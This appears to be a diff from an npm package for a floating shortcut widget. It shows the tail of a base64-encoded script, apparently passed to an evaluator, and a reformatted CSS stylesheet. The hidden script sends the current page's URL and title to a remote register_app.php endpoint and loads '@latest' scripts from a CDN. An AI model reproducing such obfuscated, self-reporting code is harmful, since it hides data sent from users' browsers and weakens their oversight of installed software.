mNoQ2xvc2UuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBjbG9zZVNlYXJjaCk7DQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCAoZSkgPT4geyBpZiAoZS5rZXkgPT09ICdFc2NhcGUnICYmIHdpZGdldFdyYXBwZXIuY2xhc3NMaXN0LmNvbnRhaW5zKCdzZWFyY2gtbW9kZScpKSB7IGNsb3NlU2VhcmNoKCl9IH0pOw0KICAgICAgICANCiAgICAgICAgY29uc3QgYWRkQ3VycmVudFBhZ2VUb1dpZGdldCA9IGFzeW5jIChlKSA9PiB7DQogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBiYXNlVXJsID0gZ2V0UHJvY2Vzc2VkVXJsKHdpbmRvdy5sb2NhdGlvbi5ocmVmKTsNCiAgICAgICAgICAgIGxldCBpY29uTmFtZSA9IGRvY3VtZW50LnRpdGxlIHx8IHQuY3VycmVudFBhZ2U7DQogICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgIGNvbnN0IHJlc3BvbnNlID0gYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9nZXRfdGl0bGUucGhwP3VybD0ke2VuY29kZVVSSUNvbXBvbmVudChiYXNlVXJsKX1gKTsNCiAgICAgICAgICAgICAgICBpZiAocmVzcG9uc2Uub2spIHsgY29uc3QgZGF0YSA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsgaWYgKGRhdGEudGl0bGUpIHsgaWNvbk5hbWUgPSBkYXRhLnRpdGxlfSB9DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgeyBjb25zb2xlLmVycm9yKCdGYWlsZWQgdG8gZmV0Y2ggdGl0bGU6JywgZXJyb3IpfQ0KICAgICAgICAgICAgY29uc3QgbmV3SWNvbiA9IHsgbmFtZTogaWNvbk5hbWUsIHVybDogYmFzZVVybCB9Ow0KICAgICAgICAgICAgbGV0IHN0b3JlZEl0ZW1zID0gc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICAgICAgY29uc3QgaXNBbHJlYWR5QWRkZWQgPSBzdG9yZWRJdGVtcy5zb21lKGl0ZW0gPT4gZ2V0UHJvY2Vzc2VkVXJsKGl0ZW0udXJsKSA9PT0gZ2V0UHJvY2Vzc2VkVXJsKG5ld0ljb24udXJsKSk7DQogICAgICAgICAgICBpZiAoIWlzQWxyZWFkeUFkZGVkKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0b3JlZEl0ZW1zLmxlbmd0aCA+PSAxMCkgeyBzdG9yZWRJdGVtcy5zaGlmdCgpfQ0KICAgICAgICAgICAgICAgIHN0b3JlZEl0ZW1zLnB1c2gobmV3SWNvbik7DQogICAgICAgICAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLnNldChzdG9yZWRJdGVtcyk7DQogICAgICAgICAgICAgICAgdHJ5IHsgYXdhaXQgZmV0Y2goYCR7QVBJX0JBU0VfVVJMfS9yZWdpc3Rlcl9hcHAucGhwYCwgeyBtZXRob2Q6ICdQT1NUJywgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sIGJvZHk6IEpTT04uc3RyaW5naWZ5KG5ld0ljb24pIH0pfSBjYXRjaCAoZXJyb3IpIHsgY29uc29sZS5lcnJvcignREIg65Ox66GdL+qwseyLoCDsi6TtjKg6JywgZXJyb3IpfQ0KICAgICAgICAgICAgICAgIGluaXRpYWxSZW5kZXIoKTsNCiAgICAgICAgICAgICAgICBpZiAod2lkZ2V0V3JhcHBlci5jbGFzc0xpc3QuY29udGFpbnMoJ3NlYXJjaC1tb2RlJykpIHsgY2xvc2VTZWFyY2goKX0NCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgc2hvd1RvYXN0KHQuYWxyZWFkeUFkZGVkKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfTsNCg0KICAgICAgICBjb25zdCBjb3B5V2lkZ2V0U2NyaXB0ID0gKGUpID0+IHsNCiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGNvbnN0IHRleHRUb0NvcHkgPSAnPHNjcmlwdCBzcmM9Imh0dHBzOi8vdW5wa2cuY29tL0BwaG9zcGhvci1pY29ucy93ZWIiPjxcL3NjcmlwdD48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19sZy5qcyI+PFwvc2NyaXB0PjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jc3MuY3NzIj48ZGl2IGlkPSJhcHAiPjxcL2Rpdj48c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG4uanNkZWxpdnIubmV0L25wbS9jZG5ob3N0QGxhdGVzdC93c19jZG5odG1sLmpzIj48XC9zY3JpcHQ+IDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Nkbmhvc3RAbGF0ZXN0L3dzX2Nkbi5qcyI+PFwvc2NyaXB0Pic7DQogICAgICAgICAgICBjb25zdCB0ID0gdHJhbnNsYXRpb25zW2N1cnJlbnRMYW5nXSB8fCB0cmFuc2xhdGlvbnNbJ2VuJ107DQogICAgICAgICAgICBjb25zdCBmYWxsYmFja0NvcHkgPSAoKSA9PiB7IGNvbnN0IHRleHRBcmVhID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgidGV4dGFyZWEiKTsgdGV4dEFyZWEudmFsdWUgPSB0ZXh0VG9Db3B5OyB0ZXh0QXJlYS5zdHlsZS5wb3NpdGlvbiA9ICJmaXhlZCI7IHRleHRBcmVhLnN0eWxlLnRvcCA9IDA7IHRleHRBcmVhLnN0eWxlLmxlZnQgPSAiLTk5OTlweCI7IGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQodGV4dEFyZWEpOyB0ZXh0QXJlYS5mb2N1cygpOyB0ZXh0QXJlYS5zZWxlY3QoKTsgdHJ5IHsgZG9jdW1lbnQuZXhlY0NvbW1hbmQoJ2NvcHknKTsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9IGNhdGNoIChlcnIpIHsgY29uc29sZS5lcnJvcignRmFsbGJhY2s6IE9vcHMsIHVuYWJsZSB0byBjb3B5JywgZXJyKX0gZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZCh0ZXh0QXJlYSl9Ow0KICAgICAgICAgICAgaWYgKG5hdmlnYXRvci5jbGlwYm9hcmQgJiYgd2luZG93LmlzU2VjdXJlQ29udGV4dCkgeyBuYXZpZ2F0b3IuY2xpcGJvYXJkLndyaXRlVGV4dCh0ZXh0VG9Db3B5KS50aGVuKCgpID0+IHsgc2hvd1RvYXN0KHQuY29kZUNvcGllZCl9KS5jYXRjaCgoKSA9PiB7IGZhbGxiYWNrQ29weSgpfSl9IGVsc2UgeyBmYWxsYmFja0NvcHkoKX0NCiAgICAgICAgfTsNCg0KICAgICAgICBhZGRUb0hvbWVCdG4uYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBhZGRDdXJyZW50UGFnZVRvV2lkZ2V0KTsNCiAgICAgICAgc2VhcmNoQWRkQnRuLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY29weVdpZGdldFNjcmlwdCk7DQogICAgICAgIA0KICAgICAgICBzaG9ydGN1dE1hbmFnZXIuc3luY0Zyb21VUkwoKTsNCiAgICAgICAgc2hvcnRjdXRNYW5hZ2VyLmdldCgpOw0KICAgICAgICANCiAgICAgICAgcG9wdWxhdGVMYW5ndWFnZVBhbmVsKCk7DQogICAgICAgIGFwcGx5TGFuZ3VhZ2UoY3VycmVudExhbmcpOw0KICAgIH0pOw=='))));
|
package/ws_css.css
CHANGED
|
@@ -1 +1,215 @@
|
|
|
1
|
-
.fhl-widget-wrapper *, .fhl-widget-wrapper *::before, .fhl-widget-wrapper *::after { box-sizing: border-box; } #fhl-widget-container { position: fixed; z-index: 1000; bottom: 20px; left: 50%; transform: translateX(-50%) translateY(0); display: flex; flex-direction: column; align-items: center; width: calc(100% - 30px); max-width: 460px; pointer-events: auto; transition: opacity 0.4s ease-in-out, transform 0.4s ease-in-out; color: #000; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif !important; line-height: 1.5 !important; box-sizing: border-box !important; } #fhl-widget-container.hidden { opacity: 0; transform: translateX(-50%) translateY(20px); pointer-events: none} #fhl-widget-container i { color: #000; font-size: 22px !important; font-style: normal; } #fhl-widget-container .fhl-item-tooltip { position: absolute; bottom: -28px; left: 50%; transform: translateX(-50%); background-color: #333; color: #fff; padding: 3px 6px; border-radius: 15px; font-size: 13px !important; font-weight: 600 !important; font-family: inherit !important; white-space: nowrap; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.2s ease-in-out, bottom 0.2s ease-in-out; z-index: 10; } #fhl-widget-container .fhl-indicator-track { position: relative; width: 100px; height: 14px; margin-bottom: 8px; cursor: pointer; background-color: transparent; transition: opacity 0.3s ease; opacity: 0; pointer-events: auto} #fhl-widget-container.scrollable .fhl-indicator-track { opacity: 1} #fhl-widget-container.search-mode .fhl-indicator-track { display: none} #fhl-widget-container .fhl-scroll-indicator { position: absolute; top: 50%; left: 0; width: 12px; height: 12px; background-color: #555; border-radius: 50%; transform: translateY(-50%); transition: transform 0.1s linear; pointer-events: none} #fhl-widget-container .fhl-widget-wrapper { position: relative; display: flex; align-items: center; width: 100%; max-width: 460px; height: 52px; padding: 7px 10px; border-radius: 26px; background-color: rgba(255, 255, 255, 0.5) !important; backdrop-filter: blur(25px) !important; -webkit-backdrop-filter: blur(25px) !important; box-shadow: 0 0 25px 5px rgba(255, 255, 255, 0.4), 0 8px 32px 0 rgba(31, 38, 135, 0.1); transition: all 0.3s ease-in-out; pointer-events: auto; overflow: visible; } #fhl-widget-container span { font-family: inherit !important; font-size: 13px !important; font-weight: 600 !important; font-style: normal !important; line-height: normal !important; letter-spacing: normal !important; text-align: left !important; text-decoration: none !important; text-transform: none !important; color: #333333 !important; background: transparent !important; background-color: transparent !important; border: none !important; border-radius: 0 !important; outline: none !important; margin: 0 !important; padding: 0 !important; box-shadow: none !important; text-shadow: none !important; box-sizing: border-box !important; display: inline-block !important; visibility: visible !important; opacity: 1 !important; float: none !important; } #fhl-widget-container .fhl-icon-display { position: relative; flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; color: #333; background-color: rgba(0, 0, 0, 0.05); border: none; border-radius: 50%; text-decoration: none; cursor: pointer; padding: 0} #fhl-widget-container .fhl-icon-display:hover { background-color: rgba(0, 0, 0, 0.1)} #fhl-widget-container .fhl-list-container .fhl-icon-display { display: inline-flex; width: auto; padding: 0 8px 0 0; border-radius: 20px; background-color: transparent} #fhl-widget-container .fhl-list-container .fhl-icon-display:hover { background-color: rgba(0, 0, 0, 0.08)} #fhl-widget-container .fhl-list-container .fhl-icon-display:hover .fhl-icon-circle { background-color: transparent} #fhl-widget-container .fhl-item-name { max-width: 0; opacity: 0; transition: max-width 0.3s ease-in-out, opacity 0.2s ease-in-out 0.05s; white-space: nowrap; overflow: hidden; } #fhl-widget-container .fhl-list-container .fhl-icon-display:hover .fhl-item-name { max-width: 150px; opacity: 1} #fhl-widget-container .fhl-icon-circle { flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; background-color: rgba(0, 0, 0, 0.05); border-radius: 50%; transition: background-color 0.2s ease; overflow: hidden} #fhl-widget-container .fhl-icon-circle img { width: 24px; height: 24px; object-fit: cover; border-radius: 50%} #fhl-widget-container .fhl-icon-bar { display: flex; align-items: center; gap: 8px; width: 100%; transition: opacity 0.3s ease} #fhl-widget-container .fhl-list-container { padding:0 8px; flex-grow: 1; display: flex; align-items: center; overflow-x: auto; -ms-overflow-style: none; scrollbar-width: none; scroll-snap-type: x mandatory; mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent); -webkit-mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent); padding-bottom: 30px; margin-bottom: -30px; overflow-y: visible} #fhl-widget-container .fhl-list-container::-webkit-scrollbar { display: none} #fhl-widget-container .fhl-list-container > .fhl-icon-display { scroll-snap-align: center} #fhl-widget-container .fhl-widget-wrapper.search-mode { height: 280px; align-items: flex-start; border-radius: 20px} #fhl-widget-container .fhl-widget-wrapper.search-mode .fhl-icon-bar { opacity: 0; pointer-events: none} #fhl-widget-container .fhl-search-view { position: absolute; top: 0; left: 0; width: 100%; height: 100%; display: flex; flex-direction: column; padding: 10px; opacity: 0; visibility: hidden; transition: opacity 0.3s 0.1s ease} #fhl-widget-container .fhl-widget-wrapper.search-mode .fhl-search-view { opacity: 1; visibility: visible} #fhl-widget-container .fhl-search-input-wrapper { display: flex; align-items: center; flex-shrink: 0; margin-bottom: 12px} #fhl-widget-container .fhl-search-input { flex-grow: 1; height: 38px; border: none; background: transparent; font-size: 16px; color: #111; padding: 0 10px; outline: none; transition: border-color 0.2s ease} #fhl-widget-container .fhl-search-input:focus { border-bottom-color: #007bff} #fhl-widget-container .fhl-search-content { display: grid; grid-template-columns: 1fr 38px; flex-grow: 1; overflow: hidden; } #fhl-widget-container .fhl-search-results { padding: 0 0 0 5px; display: flex; align-items: center; justify-content: center; flex-wrap: wrap; align-content: flex-start; gap: 10px; min-width: 0; overflow-y: auto; overflow-x: hidden; padding:0 10px; box-sizing:bordeer-box; } #fhl-widget-container .fhl-search-results::-webkit-scrollbar { display: none} #fhl-widget-container .fhl-search-results .fhl-icon-display { background-color: transparent} #fhl-widget-container .fhl-search-results .fhl-icon-display:hover .fhl-icon-circle { background-color: rgba(0, 0, 0, 0.1)} #fhl-widget-container .fhl-fixed-panel { display: flex; flex-direction: column; align-items: center; gap: 10px; } #fhl-widget-container .fhl-fixed-item { display: flex; align-items: center; justify-content: center; width: 38px !important; height: 38px !important; border-radius: 50% !important; background-color: rgba(0, 0, 0, 0.05) !important; text-decoration: none; cursor: pointer; transition: background-color 0.2s ease; flex-shrink: 0; } #fhl-widget-container .fhl-fixed-item:hover { background-color: rgba(0, 0, 0, 0.1) !important; } #fhl-widget-container .fhl-fixed-item i { color: #333 !important; font-size: 20px !important; } #fhl-widget-container .fhl-fixed-item img { width: 24px !important; height: 24px !important; border-radius: 50%; object-fit: cover; display: block; } #fhl-widget-container .fhl-item-tooltip { position: absolute; bottom: -28px; left: 50%; transform: translateX(-50%); background-color: #333; color: #fff; padding: 3px 6px; border-radius: 15px; font-size: 11px !important; font-weight: 500; white-space: nowrap; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.2s ease-in-out, bottom 0.2s ease-in-out; z-index: 10} #fhl-widget-container .fhl-item-tooltip.visible { opacity: 1; visibility: visible; bottom: -25px} #fhl-widget-container .fhl-item-controls { position: absolute; bottom: -20px; left: 20px; transform: translateX(-50%); display: flex; gap: 4px; background-color: rgba(0,0,0,0.7); border-radius: 10px; padding: 2px 4px; opacity: 0; visibility: hidden; transition: all 0.2s ease; pointer-events: none; z-index: 20} #fhl-widget-container .fhl-list-container.edit-mode .fhl-item-controls { opacity: 1; visibility: visible; pointer-events: auto; bottom: -13px} #fhl-widget-container .fhl-control-btn { background: none; border: none; color: white; cursor: pointer; font-size: 16px; line-height: 1; padding: 2px; font-family: monospace} #fhl-widget-container .fhl-control-btn:hover { color: #007bff} .fhl-toast { position: fixed; bottom: 90px; left: 50%; transform: translateX(-50%) translateY(10px); background-color: rgba(0, 0, 0, 0.8); color: #fff; padding: 8px 16px; border-radius: 18px; font-size: 14px; z-index: 1001; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.3s ease, transform 0.3s ease, visibility 0.3s} .fhl-toast.visible { opacity: 1; visibility: visible; transform: translateX(-50%) translateY(0)} #fhl-widget-container .fhl-language-panel { position: absolute; bottom: 100%; left: 50%; transform: translateX(-50%); margin-bottom: 15px; background-color: rgba(255, 255, 255, 0.4) !important; backdrop-filter: blur(25px) !important; -webkit-backdrop-filter: blur(25px) !important; border-radius: 25px; box-shadow: 0 0 25px 5px rgba(255, 255, 255, 0.4), 0 8px 32px 0 rgba(31, 38, 135, 0.1); padding: 12px; display: grid; grid-template-columns: 1fr 1fr; gap: 4px; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.3s ease, transform 0.3s ease; transform-origin: bottom center; } #fhl-widget-container .fhl-language-panel.visible { opacity: 1; visibility: visible; pointer-events: auto; } #fhl-widget-container .fhl-language-item { display: block; padding: 8px 16px; font-size: 14px; font-weight: 500; color: rgba(0, 0, 0, 0.6); text-decoration: none; border-radius: 20px; transition: all 0.2s ease; cursor: pointer; text-align: center; } #fhl-widget-container .fhl-language-item:hover { background-color: rgba(255, 255, 255, 0.3); color: rgba(0, 0, 0, 0.9); }
|
|
1
|
+
.fhl-widget-wrapper *, .fhl-widget-wrapper *::before, .fhl-widget-wrapper *::after {
|
|
2
|
+
box-sizing: border-box;
|
|
3
|
+
}
|
|
4
|
+
|
|
5
|
+
#fhl-widget-container {
|
|
6
|
+
position: fixed;
|
|
7
|
+
z-index: 1000;
|
|
8
|
+
bottom: 20px;
|
|
9
|
+
left: 50%;
|
|
10
|
+
transform: translateX(-50%) translateY(0);
|
|
11
|
+
display: flex;
|
|
12
|
+
flex-direction: column;
|
|
13
|
+
align-items: center;
|
|
14
|
+
width: calc(100% - 30px);
|
|
15
|
+
max-width: 460px;
|
|
16
|
+
pointer-events: auto;
|
|
17
|
+
transition: opacity 0.4s ease-in-out, transform 0.4s ease-in-out;
|
|
18
|
+
color: #000;
|
|
19
|
+
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif !important;
|
|
20
|
+
line-height: 1.5 !important;
|
|
21
|
+
box-sizing: border-box !important;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
#fhl-widget-container.hidden { opacity: 0; transform: translateX(-50%) translateY(20px); pointer-events: none}
|
|
25
|
+
|
|
26
|
+
#fhl-widget-container i {
|
|
27
|
+
color: #000;
|
|
28
|
+
font-size: 22px !important;
|
|
29
|
+
font-style: normal;
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
#fhl-widget-container .fhl-item-tooltip {
|
|
33
|
+
position: absolute;
|
|
34
|
+
bottom: -28px;
|
|
35
|
+
left: 50%;
|
|
36
|
+
transform: translateX(-50%);
|
|
37
|
+
background-color: #333;
|
|
38
|
+
color: #fff;
|
|
39
|
+
padding: 3px 6px;
|
|
40
|
+
border-radius: 15px;
|
|
41
|
+
font-size: 13px !important;
|
|
42
|
+
font-weight: 600 !important;
|
|
43
|
+
font-family: inherit !important;
|
|
44
|
+
white-space: nowrap;
|
|
45
|
+
opacity: 0;
|
|
46
|
+
visibility: hidden;
|
|
47
|
+
pointer-events: none;
|
|
48
|
+
transition: opacity 0.2s ease-in-out, bottom 0.2s ease-in-out;
|
|
49
|
+
z-index: 10;
|
|
50
|
+
}
|
|
51
|
+
|
|
52
|
+
#fhl-widget-container .fhl-indicator-track { position: relative; width: 100px; height: 14px; margin-bottom: 8px; cursor: pointer; background-color: transparent; transition: opacity 0.3s ease; opacity: 0; pointer-events: auto}
|
|
53
|
+
#fhl-widget-container.scrollable .fhl-indicator-track { opacity: 1}
|
|
54
|
+
#fhl-widget-container.search-mode .fhl-indicator-track { display: none}
|
|
55
|
+
#fhl-widget-container .fhl-scroll-indicator { position: absolute; top: 50%; left: 0; width: 12px; height: 12px; background-color: #555; border-radius: 50%; transform: translateY(-50%); transition: transform 0.1s linear; pointer-events: none}
|
|
56
|
+
|
|
57
|
+
#fhl-widget-container .fhl-widget-wrapper {
|
|
58
|
+
position: relative;
|
|
59
|
+
display: flex;
|
|
60
|
+
align-items: center;
|
|
61
|
+
width: 100%;
|
|
62
|
+
max-width: 460px;
|
|
63
|
+
height: 52px;
|
|
64
|
+
padding: 0 8px;
|
|
65
|
+
border-radius: 26px;
|
|
66
|
+
|
|
67
|
+
background-color: rgba(255, 255, 255, 0.5) !important;
|
|
68
|
+
|
|
69
|
+
backdrop-filter: blur(25px) !important;
|
|
70
|
+
-webkit-backdrop-filter: blur(25px) !important;
|
|
71
|
+
|
|
72
|
+
box-shadow:
|
|
73
|
+
0 0 25px 5px rgba(255, 255, 255, 0.4),
|
|
74
|
+
0 8px 32px 0 rgba(31, 38, 135, 0.1);
|
|
75
|
+
|
|
76
|
+
transition: all 0.3s ease-in-out;
|
|
77
|
+
pointer-events: auto;
|
|
78
|
+
overflow: visible;
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
#fhl-widget-container span {
|
|
82
|
+
font-family: inherit !important;
|
|
83
|
+
font-size: 13px !important;
|
|
84
|
+
font-weight: 600 !important;
|
|
85
|
+
font-style: normal !important;
|
|
86
|
+
line-height: normal !important;
|
|
87
|
+
letter-spacing: normal !important;
|
|
88
|
+
text-align: left !important;
|
|
89
|
+
text-decoration: none !important;
|
|
90
|
+
text-transform: none !important;
|
|
91
|
+
color: #333333 !important;
|
|
92
|
+
background: transparent !important;
|
|
93
|
+
background-color: transparent !important;
|
|
94
|
+
border: none !important;
|
|
95
|
+
border-radius: 0 !important;
|
|
96
|
+
outline: none !important;
|
|
97
|
+
margin: 0 !important;
|
|
98
|
+
padding: 0 !important;
|
|
99
|
+
box-shadow: none !important;
|
|
100
|
+
text-shadow: none !important;
|
|
101
|
+
box-sizing: border-box !important;
|
|
102
|
+
display: inline-block !important;
|
|
103
|
+
visibility: visible !important;
|
|
104
|
+
opacity: 1 !important;
|
|
105
|
+
float: none !important;
|
|
106
|
+
}
|
|
107
|
+
|
|
108
|
+
#fhl-widget-container .fhl-icon-display { position: relative; flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; color: #333; background-color: rgba(0, 0, 0, 0.05); border: none; border-radius: 50%; text-decoration: none; cursor: pointer; padding: 0}
|
|
109
|
+
#fhl-widget-container .fhl-icon-display:hover { background-color: rgba(0, 0, 0, 0.1);}
|
|
110
|
+
|
|
111
|
+
#fhl-widget-container .fhl-list-container .fhl-icon-display {display: inline-flex; width: auto; border-radius: 20px; background-color: transparent}
|
|
112
|
+
#fhl-widget-container .fhl-list-container .fhl-icon-display:hover {padding:0 8px 0 0;box-sizing:border-box;background-color: rgba(0, 0, 0, 0.08)}
|
|
113
|
+
#fhl-widget-container .fhl-list-container .fhl-icon-display:hover .fhl-icon-circle { background-color: transparent}
|
|
114
|
+
|
|
115
|
+
#fhl-widget-container .fhl-item-name { max-width: 0; opacity: 0; transition: max-width 0.3s ease-in-out, opacity 0.2s ease-in-out 0.05s; white-space: nowrap; overflow: hidden; }
|
|
116
|
+
#fhl-widget-container .fhl-list-container .fhl-icon-display:hover .fhl-item-name { max-width: 150px; opacity: 1}
|
|
117
|
+
|
|
118
|
+
#fhl-widget-container .fhl-icon-circle { flex-shrink: 0; display: flex; justify-content: center; align-items: center; width: 38px; height: 38px; background-color: rgba(0, 0, 0, 0.05); border-radius: 50%; transition: background-color 0.2s ease; overflow: hidden}
|
|
119
|
+
#fhl-widget-container .fhl-icon-circle img { width: 24px; height: 24px; object-fit: cover; border-radius: 50%}
|
|
120
|
+
|
|
121
|
+
#fhl-widget-container .fhl-icon-bar { display: flex; align-items: center; gap: 6px; width: 100%; transition: opacity 0.3s ease}
|
|
122
|
+
#fhl-widget-container .fhl-list-container { padding:0 8px; flex-grow: 1; display: flex; align-items: center; gap: 6px; overflow-x: auto; -ms-overflow-style: none; scrollbar-width: none; scroll-snap-type: x mandatory; mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent); -webkit-mask-image: linear-gradient(to right, transparent, black 20px, black calc(100% - 20px), transparent); padding-bottom: 30px; margin-bottom: -30px; overflow-y: visible}
|
|
123
|
+
#fhl-widget-container .fhl-list-container::-webkit-scrollbar { display: none}
|
|
124
|
+
#fhl-widget-container .fhl-list-container > .fhl-icon-display { scroll-snap-align: center}
|
|
125
|
+
|
|
126
|
+
#fhl-widget-container .fhl-widget-wrapper.search-mode { height: 280px; align-items: flex-start; border-radius: 20px}
|
|
127
|
+
#fhl-widget-container .fhl-widget-wrapper.search-mode .fhl-icon-bar { opacity: 0; pointer-events: none}
|
|
128
|
+
|
|
129
|
+
#fhl-widget-container .fhl-search-view { position: absolute; top: 0; left: 0; width: 100%; height: 100%; display: flex; flex-direction: column; padding: 10px; opacity: 0; visibility: hidden; transition: opacity 0.3s 0.1s ease}
|
|
130
|
+
#fhl-widget-container .fhl-widget-wrapper.search-mode .fhl-search-view { opacity: 1; visibility: visible}
|
|
131
|
+
|
|
132
|
+
#fhl-widget-container .fhl-search-input-wrapper { display: flex; align-items: center; flex-shrink: 0; margin-bottom: 12px}
|
|
133
|
+
#fhl-widget-container .fhl-search-input { flex-grow: 1; height: 38px; border: none; background: transparent; font-size: 16px; color: #111; padding: 0 10px; outline: none; transition: border-color 0.2s ease}
|
|
134
|
+
#fhl-widget-container .fhl-search-input:focus { border-bottom-color: #007bff}
|
|
135
|
+
|
|
136
|
+
#fhl-widget-container .fhl-search-content {
|
|
137
|
+
display: grid;
|
|
138
|
+
grid-template-columns: 1fr 38px;
|
|
139
|
+
flex-grow: 1;
|
|
140
|
+
overflow: hidden;
|
|
141
|
+
}
|
|
142
|
+
|
|
143
|
+
#fhl-widget-container .fhl-search-results {
|
|
144
|
+
padding: 0 0 0 5px;
|
|
145
|
+
display: flex;
|
|
146
|
+
align-items: center;
|
|
147
|
+
justify-content: center;
|
|
148
|
+
flex-wrap: wrap;
|
|
149
|
+
align-content: flex-start;
|
|
150
|
+
gap: 10px;
|
|
151
|
+
min-width: 0;
|
|
152
|
+
overflow-y: auto;
|
|
153
|
+
overflow-x: hidden;
|
|
154
|
+
padding:0 10px;
|
|
155
|
+
box-sizing:bordeer-box;
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
#fhl-widget-container .fhl-search-results::-webkit-scrollbar { display: none}
|
|
159
|
+
#fhl-widget-container .fhl-search-results .fhl-icon-display { background-color: transparent}
|
|
160
|
+
#fhl-widget-container .fhl-search-results .fhl-icon-display:hover .fhl-icon-circle { background-color: rgba(0, 0, 0, 0.1)}
|
|
161
|
+
|
|
162
|
+
#fhl-widget-container .fhl-fixed-panel {
|
|
163
|
+
display: flex;
|
|
164
|
+
flex-direction: column;
|
|
165
|
+
align-items: center;
|
|
166
|
+
gap: 10px;
|
|
167
|
+
}
|
|
168
|
+
|
|
169
|
+
#fhl-widget-container .fhl-fixed-item {
|
|
170
|
+
display: flex;
|
|
171
|
+
align-items: center;
|
|
172
|
+
justify-content: center;
|
|
173
|
+
width: 38px !important;
|
|
174
|
+
height: 38px !important;
|
|
175
|
+
border-radius: 50% !important;
|
|
176
|
+
background-color: rgba(0, 0, 0, 0.05) !important;
|
|
177
|
+
text-decoration: none;
|
|
178
|
+
cursor: pointer;
|
|
179
|
+
transition: background-color 0.2s ease;
|
|
180
|
+
flex-shrink: 0;
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
#fhl-widget-container .fhl-fixed-item:hover {
|
|
184
|
+
background-color: rgba(0, 0, 0, 0.1) !important;
|
|
185
|
+
}
|
|
186
|
+
|
|
187
|
+
#fhl-widget-container .fhl-fixed-item i {
|
|
188
|
+
color: #333 !important;
|
|
189
|
+
font-size: 20px !important;
|
|
190
|
+
}
|
|
191
|
+
|
|
192
|
+
#fhl-widget-container .fhl-fixed-item img {
|
|
193
|
+
width: 24px !important;
|
|
194
|
+
height: 24px !important;
|
|
195
|
+
border-radius: 50%;
|
|
196
|
+
object-fit: cover;
|
|
197
|
+
display: block;
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
#fhl-widget-container .fhl-item-tooltip { position: absolute; bottom: -28px; left: 50%; transform: translateX(-50%); background-color: #333; color: #fff; padding: 3px 6px; border-radius: 15px; font-size: 11px !important; font-weight: 500; white-space: nowrap; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.2s ease-in-out, bottom 0.2s ease-in-out; z-index: 10}
|
|
201
|
+
#fhl-widget-container .fhl-item-tooltip.visible { opacity: 1; visibility: visible; bottom: -25px}
|
|
202
|
+
|
|
203
|
+
#fhl-widget-container .fhl-item-controls { position: absolute; bottom: -20px; left: 20px; transform: translateX(-50%); display: flex; gap: 4px; background-color: rgba(0,0,0,0.3); border-radius: 10px; padding: 2px 4px; opacity: 0; visibility: hidden; transition: all 0.2s ease; pointer-events: none; z-index: 20}
|
|
204
|
+
#fhl-widget-container .fhl-list-container.edit-mode .fhl-item-controls { opacity: 1; visibility: visible; pointer-events: auto; bottom: -13px}
|
|
205
|
+
|
|
206
|
+
#fhl-widget-container .fhl-control-btn { background: none; border: none; color: white; cursor: pointer; font-size: 16px; line-height: 1; padding: 2px; font-family: monospace}
|
|
207
|
+
|
|
208
|
+
.fhl-toast { position: fixed; bottom: 90px; left: 50%; transform: translateX(-50%) translateY(10px); background-color: rgba(0, 0, 0, 0.8); color: #fff; padding: 8px 16px; border-radius: 18px; font-size: 14px; z-index: 1001; opacity: 0; visibility: hidden; pointer-events: none; transition: opacity 0.3s ease, transform 0.3s ease, visibility 0.3s}
|
|
209
|
+
